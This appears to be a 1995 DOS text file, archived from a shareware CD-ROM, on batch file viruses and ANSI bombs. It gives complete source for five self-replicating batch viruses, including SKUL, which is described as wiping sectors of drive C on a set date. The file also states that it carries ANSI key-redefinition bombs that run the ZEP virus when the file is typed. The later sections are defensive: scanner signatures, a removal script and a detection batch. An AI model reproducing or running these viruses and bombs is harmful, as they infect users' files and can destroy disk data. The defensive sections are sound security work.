home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / BATV-ILL.ZIP / BATV.TXT next >
Text File  |  1995-03-20  |  19KB  |  513 lines

  1. ---------------------------------
  2. Batch File Viruses and ANSI Bombs
  3. ---------------------------------
  4.  
  5. This file has no copyright (C) 1995 - use it, steal it, say you wrote
  6. it yourself, I don't care. This file might not even have an author.
  7. I don't want fame. I just want people to be aware of this stuff.
  8.  
  9. As long as you don't try to cut out and run the programs and view
  10. this file with a text viewer, this file is totally harmless. But...
  11.  
  12. This file contains ANSI and non-printable characters INCLUDING strings
  13. that can redefine keys on the keyboard! DO NOT TYPE THIS DOCUMENT unless
  14. you know what you are doing! Use EDIT or LIST (or almost any text viewer)
  15. to read this document.
  16.  
  17. The batch files presented (and one especially) can be VERY DANGEROUS
  18. under certain circumstances!!! DO NOT CUT OUT AND RUN SKUL unless you
  19. make damn sure it's been deactivated! It's supposed to be but don't
  20. count on it. It's not my intention to format someone's drive, only to
  21. demonstrate how trivial it is to do. I don't know if it even works.
  22. It probably does, so DON'T PLAY WITH IT. There is no recovery other
  23. than re-formatting if it 'goes off'. It can't unless you deliberately
  24. cut it out and save it to a batch file then run it. Even if someone
  25. modified this document to 'bomb load' it you'd still have to TYPE
  26. this file to load the bomb. Again, ALWAYS use a viewer. Perhaps the
  27. possibility of this happening will break people of the TYPE habbit. 
  28.  
  29. I will not accept any responsibility for anything contained in this
  30. file. What you do with this information is your business but I'd prefer
  31. you'd use it to protect and educate yourself and not to hurt someone.
  32. You, the reader of this document, assume ALL responibility for whatever
  33. you do with the information. As with all things in life.
  34.  
  35. If you are TYPE'ing this file (or using MORE) the following keys will
  36. be affected if ANSI.SYS is running and unprotected... 
  37.  
  38. * The uppercase Z key will extract the ZEP batch virus (very tame) and
  39.   execute it, provided this file is named BATV.TXT and in the current
  40.   directory. This virus can infect one batch in the current or parent
  41.   directory with each run. Make sure you track any infections carefully!
  42.  
  43. * The BackSpace key will flash Hey! each time it's pressed but will
  44.   otherwise still work.
  45.  
  46. * The <`> key will first be defined to 'XoP_B XoP_' then redefined in
  47.   the next section to write out a short batch file and run it. The batch
  48.   will then display Working... while it does a directory while 'CTTY NUL'
  49.   is in effect to simulate lots of disk noise. Then it restores the
  50.   console and deletes itself producing a BATCH FILE MISSING error.
  51.   If you abort by Ctrl-Break the computer will probably lock up.
  52.  
  53. None of these actions should affect any data except for batch files.
  54.  
  55. Before attempting to demonstrate any of these effects read through this
  56. file with a text viewer completely!
  57.  
  58. If you are using any kind of DOS command to view this file, and these
  59. are not the effects you wish to demonstrate EXIT NOW! (Ctrl-Break)
  60. ------------------------------------------------------------------------
  61.  
  62.  
  63.  
  64. Batch Viruses
  65. -------------
  66.  
  67. It is generally assumed in the virus community that batch files are not
  68. viable targets for viral infections. However my own experiments seem to
  69. disprove this notion. It is true that existing samples (at least what
  70. I've seen) are not so hot, but do not assume it can't be done. It just
  71. takes a little batch know-how.
  72.  
  73. Presented here are five batch viruses that actually work. On modern systems
  74. they are practically invisible unless they activate. To people that pay
  75. attention to their files these are not much of a threat, but we're often
  76. so busy protecting the exe's something like this can go unnoticed. Removal 
  77. is easy - use any editor to remove it from all affected batches then delete 
  78. the hidden root file if present (you have to remove the hidden attribute).
  79.  
  80. Common traits...
  81.  
  82. - They infect only un-infected batch files (no re-infection of same type).
  83. - No effect the host file's functionality. Files still work normally.
  84. - Virus gets control AFTER host batch completes (or hits last line).
  85. - They travel using the .. method as well as attacking the current directory
  86. - Exist indepenent of any other files. Totally parasitic.
  87. - DOS 5 or better may be 'required', I'm not sure. 
  88.  
  89. ZEP    (165) - The smallest so far! Except for GeeZ.
  90.  
  91. XOP    (361) - Infects two batches per run.
  92.  
  93. POT    (685) - Infects one batch per run. If it can't infect anything
  94.            it drops two ANSI bombs (space bar flashes a message and
  95.            the ` key runs the root copy of the virus) and checks for
  96.            '00' anywhere in the current time. If so it displays a
  97.            silly message, giving itself away.
  98.  
  99. SKUL   (497) - This is a DANGEROUS file!!! It will overwrite over 8000
  100.            sectors of drive C on the 20th of any month!!! DO NOT RUN!
  101.            I do not normally write destructive code but did in this 
  102.            case so folks might take this more seriously. Hides itself
  103.            from TYPE but does not define any keys.
  104.  
  105. ZOP_B  (615) - Infects two files per run. If infected batch files are 
  106.            TYPE'd the ` key will be redefined to run itself. The key
  107.            is undefined after the virus runs. You won't see much 
  108.            when you TYPE it.
  109.   
  110. The ANSI tricks work only if ANSI.SYS is loaded. All of these work on
  111. the same basic principle: Use a key-string specific to the virus on EVERY
  112. line. The FIND command is used to extract the viral code out of the host 
  113. for eventual copy to the victom files, and also to check for previous 
  114. infection. All of these except ZEP keep a hidden copy of themselves in 
  115. the root of drive C: to permit operation even if the infected batch being
  116. run is not in the current directory. If the copy is not present they will
  117. create it when run from the current directory. ZEP will infect only if 
  118. the infected batch is run from the current directory. 
  119.  
  120. Two methods are used to find files. The first, used by XOP, POT and ZOP_B,
  121. loops for every batch file found by calling the root copy. The second
  122. method merely checks the LAST batch found and avoids the looping. While
  123. much faster, it will only infect one file unless files are moved around
  124. making it a 'slow infector'. To give credit where credit is due, this
  125. idea (one for.. do set... line) sort-of comes from an example in Vir-101. 
  126. The first method is of my own devising and behaves closer to the real thing 
  127. but would be obvious if run without a cache or in a directory containing 
  128. many batch files. Even if it infects only one or two at a time it still has 
  129. to loop for all of them since batch doesn't provide an easy way to terminate
  130. a loop. Even so, it's pretty fast most of the time - less than a second.
  131. The 101 way, although limited, is faster because the loop calls no code.
  132.  
  133.  
  134.  
  135. --ZEP.BAT------------------------------------------------------------------
  136. @echo off%[ZeP]%
  137. if not exist %0.bat goto ZeP
  138. for %%f in (*.bat ..\*.bat) do set ZeP=%%f
  139. find /i "ZeP"<%ZeP%>nul
  140. if errorlevel 1 find "ZeP"<%0.bat>>%ZeP%
  141. :ZeP
  142.  
  143. --XOP.BAT------------------------------------------------------------------
  144. @echo off%[XoP]%
  145. if '%XoP%=='11 goto XoP2
  146. if '%2=='_ goto XoP1
  147. if exist C:\XoP.bat goto XoP
  148. if not exist %0.bat goto XoP2
  149. find "XoP"<%0.bat>C:\XoP.bat
  150. attrib C:\XoP.bat +h
  151. :XoP
  152. for %%v in (*.bat ..\*.bat) do call C:\XoP %%v _
  153. set XoP=
  154. goto XoP2
  155. :XoP1
  156. find /i "XoP"<%1>nul
  157. if not errorlevel 1 goto XoP2
  158. type C:\XoP.bat>>%1
  159. set XoP=%XoP%1
  160. :XoP2 
  161.  
  162. --POT.BAT------------------------------------------------------------------
  163. @echo off%_PoT%
  164. if '%PoT%=='I goto PoTz
  165. if '%1=='_ goto PoTi
  166. if exist C:\PoT.bat goto PoT
  167. if not exist %0.bat goto PoTz
  168. find "PoT"<%0.bat>C:\PoT.bat
  169. attrib C:\PoT.bat +h
  170. :PoT Makes You Feel Goodz
  171. for %%f in (*.bat ..\*.bat C:\*.bat) do call C:\PoT.bat _ %%f
  172. if '%PoT%=='I goto PoTf
  173. set PoT=
  174. echo %PoT%[32;"You're Stoned!       "p
  175. echo %PoT%[96;"C:\PoT";13p%PoT%[2A
  176. echo.%_PoT%|time|find "00">nul
  177. if errorlevel 1 goto PoTf
  178. echo %PoT%[1A%PoT%[s%PoT%[1;37;44m
  179. echo %PoT%[3;9H Let me outta here! %PoT%[0m%PoT%[u
  180. :PoTf gold
  181. set PoT=
  182. goto PoTz
  183. :PoTi nfect
  184. find /i "PoT"<%2>nul
  185. if not errorlevel 1 goto PoTz
  186. type C:\PoT.bat>>%2
  187. set PoT=I
  188. :PoTz
  189.  
  190. --SKUL---------------------------------------------------------------------
  191. ::SKuL
  192. @echo off%[SKuL]%
  193. echo.|date|find "20">nul%[SKuL]%
  194. if errorlevel 1 goto SKuL1
  195. echo SKuL Killing Hardfile...
  196. ::echo ░╣  Ö═&═>SKuL.com 
  197. ::SKuL
  198. :SKuL1 A
  199. if exist C:\SKuL goto SKuL2
  200. if not exist %0.bat goto SKuL
  201. find "SKuL"<%0.bat>C:\SKuL
  202. attrib C:\SKuL +h
  203. :SKuL2 A
  204. set SKuL=C:\AUTOEXEC.BAT
  205. for %%f in (D:*.bat C:*.bat ..\*.bat) do set SKuL=%%f
  206. if not exist %SKuL% goto SKuL
  207. find /i "SKuL"<%SKuL%>nul
  208. if errorlevel 1 type C:\SKuL>>%SKuL%
  209. set SKuL=
  210. :SKuL A
  211.  
  212. --ZOP_B.BAT----------------------------------------------------------------
  213. @echo off
  214. :: --- [ZoP_B] Batch Infector ---
  215. if '%2=='ZoP_ goto ZoP_1
  216. if '%1=='ZoP_ echo "`";"`"p
  217. ::"`";"ZoP_B ZoP_";13p
  218. ::AZoP_
  219. if exist c:\ZoP_B.bat goto ZoP_
  220. if not exist %0.bat goto ZoP_2
  221. echo @echo Off>c:\ZoP_B.bat
  222. find "ZoP_"<%0.bat>>c:\ZoP_B.bat
  223. attrib c:\ZoP_B.bat +h
  224. ::AZoP_
  225. :ZoP_
  226. for %%v in (*.bat) do call c:\ZoP_B %%v ZoP_
  227. if '%ZoP_%==' for %%v in (..\*.bat) do call c:\ZoP_B %%v ZoP_
  228. set ZoP_=
  229. goto ZoP_2
  230. ::AZoP_
  231. :ZoP_1
  232. if '%ZoP_%=='11 goto ZoP_2
  233. find "ZoP_"<%1>nul
  234. if not errorlevel 1 goto ZoP_2
  235. type c:\ZoP_B.bat>>%1
  236. set ZoP_=%ZoP_%1
  237. :ZoP_2 
  238. ::ZoP_A
  239.  
  240. --------------------------------------------------------------------------
  241.  
  242.  
  243. ANSI Bombs
  244. ----------
  245.  
  246. The title says Batch Viruses and ANSI bombs, so here's the ANSI section.
  247. Some of the above files contain ANSI bombs but they are not harmful.
  248. ANSI bombs can be very harmful if you are not aware of them. As long
  249. as you either do not run ANSI.SYS or if you do, fortify it with TBDRIVER
  250. or something, or never use the TYPE command to look at files, and always
  251. view batch files before you run them, you're OK. For starters, just
  252. don't use the TYPE and MORE commands when dealing with new files, and
  253. CHECK THOSE BAT FILES WITH EDIT before you run them.
  254.  
  255. Since someone could accidently TYPE this document, none of these examples
  256. will do anything really harmful but hopefully will get the point across.
  257.  
  258.  
  259. And the first one (I'm going to write this right now...) will extract 
  260. the ZEP batch virus from this file, assumed to be named BATV.TXT.
  261. The bomb will be placed on the uppercase Z key. This is not a practical
  262. example, a real bomb would do the return key or something more likely
  263. to be pressed, and a real bomb would probably just go ahead and wipe
  264. your drive out.
  265.  
  266. ------------------------------------------------------------- 
  267. ::"Z";"find ";34;"ZeP";34;"<BATV.TXT>ZEP.BAT";13;"ZEP";13p
  268. -------------------------------------------------------------
  269.  
  270. It will also copy the above line but I guess that's OK. It just becomes
  271. part of the ZEP virus. The bomb won't work unless BATV.TXT is present.  
  272.  
  273.  
  274. This is boring. Sure, ANSI bombs can format your hard disk, but they
  275. are limited as far as brains go. For example, it is impossible to write 
  276. a self contained ANSI bomb that plants the ZEP virus because you can't 
  277. redirect lines already containing redirection into a file. 
  278.  
  279. A couple more then I quit.
  280.  
  281. --HEYBUG-(BACKSPACE KEY)----------------------
  282. "Hey!               "p
  283. ----------------------------------------------
  284.  
  285. --SCARE--(` KEY)-----------
  286. 96p
  287. "echo @echo off>~.bat
  288. echo cls>>~.bat
  289. echo echo Working...>>~.bat
  290. echo ctty nul>>~.bat
  291. echo dir \ /s>>~.bat
  292. echo ctty con>>~.bat
  293. echo del ~.bat>>~.bat
  294. ~
  295. "p
  296. ---------------------------
  297.  
  298.  
  299.  
  300.  
  301. Scan Strings
  302. ------------
  303.  
  304. Scanning for ANSI bombs and batch viruses can be somewhat tricky but is 
  305. possible if the scanner supports wildcard signatures. The batch viruses
  306. and ANSI bombs presented here can be detected by the following HTSCAN
  307. signature strings. ThunderByte's scanner also supports wildcards but 
  308. you'd probably have to convert them.
  309.  
  310.  
  311. ;-----HTSCAN Signatures-------------------------
  312. ;
  313. ; *** ANSI key codes ***
  314. ;
  315. F Quoted Key Redefinition
  316. BAT COM EXE
  317. 1B5B%73B%722%(250)22%770
  318. F Entered Key Redefinition
  319. BAT COM EXE
  320. 1B5B%F3B**3B313370
  321. ;
  322. ; *** Batch crap detectors ***
  323. ;
  324. I BAT virus? (finds itself)
  325. BAT
  326. 66//4669//496E//4E64//44%222%F22%23C%22530
  327. I BAT virus? (BAT loop) 
  328. BAT 
  329. 28%32A2E62//4261//4174//44%129%22064//446F//4F20
  330. F Debugs file (could be danger)
  331. BAT
  332. 0D0A64//4465//4562//4275//5567//47%23C 
  333. T Disk C: Killer! (int 26)
  334. COM EXE SYS BAT
  335. B002%FCD26
  336.  
  337.  
  338.  
  339.  
  340. Batch Virus Remover
  341. -------------------
  342.  
  343. This file will clean batch viruses of the type described in this document. 
  344. Basically, it removes all lines containing a specific string provided the
  345. file also contains another specific string. Needless to say, if called
  346. with the wrong string it will reduce your batches to mush, so be careful 
  347. if you have to use it (like if one of these toys gets away). As written 
  348. DOS 6 (or at least CHOICE.COM) is required because it confirms each
  349. file before cleaning it. So you don't clean your original sample.
  350.  
  351. To use, determine the key string for the batch virus (the string present
  352. on every line). For example say I have a bat virus that contains 'GeeZ'
  353. in every line (here I go again) like in the following...
  354.  
  355. ::
  356. :: host file
  357. ::
  358. ctty nul%_GeeZ%
  359. for %%a in (C:*.bat ..\*.bat) do set GeeZ=%%a
  360. find "GeeZ"<%GeeZ%
  361. if errorlevel 1 find "GeeZ"<%0.BAT>>%GeeZ%
  362. ctty con%_GeeZ%
  363.  
  364. To remove it, enter CLEANBAT GeeZ then answer the prompts.
  365.  
  366.  
  367. -------------- CLEANBAT.BAT -------------------------------
  368. @echo off
  369. if '%1=='%temp% goto remove
  370. if exist C:\DOS\CHOICE.COM goto start
  371. echo This batch requires CHOICE.COM in C:\DOS!
  372. :start
  373. echo **** Batch Virus Remover ****
  374. echo.
  375. echo Warning! If key is not unique this will destroy files!
  376. echo Usage: CLEANBAT Key1 [Key2] where Key1 is the UNIQUE
  377. echo signature used by the virus and Key2 is an identifying
  378. echo string. If not specified then Key2 is set to Key1
  379. echo.
  380. set ks=%1
  381. set is=%2
  382. if '%ks%==' goto exit
  383. if '%is%==' set is=%ks%
  384. if '%temp%==' set temp=C:\
  385. echo Will remove %ks% from files containing %is%. Proceed?
  386. choice /c:yn>nul
  387. if errorlevel 2 goto exit
  388. for %%v in (*.bat) do call %0 %temp% %%v
  389. if exist rem$$_ del rem$$_
  390. goto exit
  391. :remove
  392. find "%is%"<%2>nul
  393. if errorlevel 1 goto done
  394. echo Found in %2 - remove? 
  395. choice /c:yn>nul
  396. if errorlevel 2 goto done
  397. find /v "%ks%"<%2>rem$$_
  398. copy rem$$_ %2>nul
  399. goto done
  400. :exit
  401. set is=
  402. set ks=
  403. :done
  404.  
  405. -----------------------------------------------------------
  406.  
  407.  
  408. ANSI / Bad Command Scanner
  409. --------------------------
  410.  
  411. This is not as accurate as the signatures, and quite a bit slower,
  412. but not unusably so. Actually it detects much more than the sigs do.
  413. What this does is read through every file in the directory listing
  414. any dangerous codes or commands it finds for each file. Obviously
  415. the flags for batch commands are meaningless unless contained in
  416. a batch file, and sometimes batches need to delete a file, so
  417. consider the output as an early warning. Despite its simplistic
  418. nature it will detect most types of key redefinition that I can
  419. think of. NOTE - EscSeq is NOT really a warning, many color batches
  420. and all ANSI screens contain this, but if KeyRedef, Key2 or Key3 
  421. shows up definitely check out the file.
  422.  
  423. To use, copy this to a directory on the path, then CD to the directory
  424. containing the files and enter 'CHKANSI'. To scan just one batch or
  425. specific groups of files enter something like 'CHKANSI *.BAT *.ANS'.
  426.  
  427. This needs a fair amout (maybe 120 bytes) of environment to work
  428. properly. If you encounter errors enter 'COMMAND /E:512' at the prompt.
  429. Consider adding 'SHELL=C:\DOS\COMMAND.COM /E:512 /P' to your CONFIG.SYS 
  430. if this or a similar line is not present.
  431.  
  432. NOTE - check the set esc= and set tab= lines - these should set a single
  433. escape character and tab character repspectively. EDIT will expand the
  434. tab character to spaces. All this does is make the listing look better
  435. but the esc= line is vital! Make sure there are no spaces after the
  436. escape character or it won't work!! If you use EDIT to split this out,
  437. redo the set tab= line - delete the spaces (until line pops up-9 times) 
  438. then press <Ctrl-p> <Tab> <Enter>. You have to do this each time you load
  439. it into EDIT. If you forget it will still function but the flags will
  440. no longer line up evenly. Just a pick.
  441.  
  442. --------------- CHKANSI.BAT -------------------------------
  443. @echo off
  444. if '%2=='Loop goto loop
  445. echo *** ANSI/BATCH SCANNER ***
  446. set mask=%1 %2 %3 %4 %5 %6 %7 %8 %9
  447. if '%mask%==' set mask=*.*
  448. for %%f in (%mask%) do call %0 %%f Loop
  449. goto done
  450. :loop
  451. if not exist %1 goto done
  452. set line=
  453. :: escape and tab characters
  454. set esc=
  455. set tab=    
  456. find "%esc%["<%1>nul
  457. if not errorlevel 1 set line=%line%EscSeq 
  458. find /i "$e["<%1>nul
  459. if not errorlevel 1 set line=%line%PromptSeq 
  460. find ";13p"<%1>nul
  461. if not errorlevel 1 set line=%line%KeyRedef 
  462. if '%line%==' goto checkbad
  463. find """p"<%1>nul
  464. if not errorlevel 1 set line=%line%Key2 
  465. set hit=0
  466. find "0p"<%1>nul
  467. if not errorlevel 1 set hit=1
  468. find "1p"<%1>nul
  469. if not errorlevel 1 set hit=1
  470. find "2p"<%1>nul
  471. if not errorlevel 1 set hit=1
  472. find "4p"<%1>nul
  473. if not errorlevel 1 set hit=1
  474. find "5p"<%1>nul
  475. if not errorlevel 1 set hit=1
  476. find "6p"<%1>nul
  477. if not errorlevel 1 set hit=1
  478. find "7p"<%1>nul
  479. if not errorlevel 1 set hit=1
  480. find "8p"<%1>nul
  481. if not errorlevel 1 set hit=1
  482. find "9p"<%1>nul
  483. if not errorlevel 1 set hit=1
  484. if %hit%==1 set line=%line%Key3 
  485. :checkbad
  486. find /i "DEL "<%1>nul
  487. if not errorlevel 1 set line=%line%Del 
  488. find /i "DELTREE"<%1>nul
  489. if not errorlevel 1 set line=%line%Deltree 
  490. find /i "DEBUG"<%1>nul 
  491. if not errorlevel 1 set line=%line%Debug 
  492. find /i "ATTRIB "<%1>nul
  493. if not errorlevel 1 set line=%line%Attrib 
  494. find /i "FORMAT C:"<%1>nul
  495. if not errorlevel 1 set line=%line%Format 
  496. find /i "*.BAT"<%1>nul
  497. if not errorlevel 1 set line=%line%BAT 
  498. find /i "*.EXE"<%1>nul
  499. if not errorlevel 1 set line=%line%EXE 
  500. find /i "*.COM"<%1>nul
  501. if not errorlevel 1 set line=%line%COM 
  502. echo %1   %tab%%line%
  503. :done
  504. set mask=
  505. set line=
  506. set hit=
  507. set esc=
  508. set tab=
  509.  
  510. -----------------------------------------------------------
  511.  
  512.  
  513.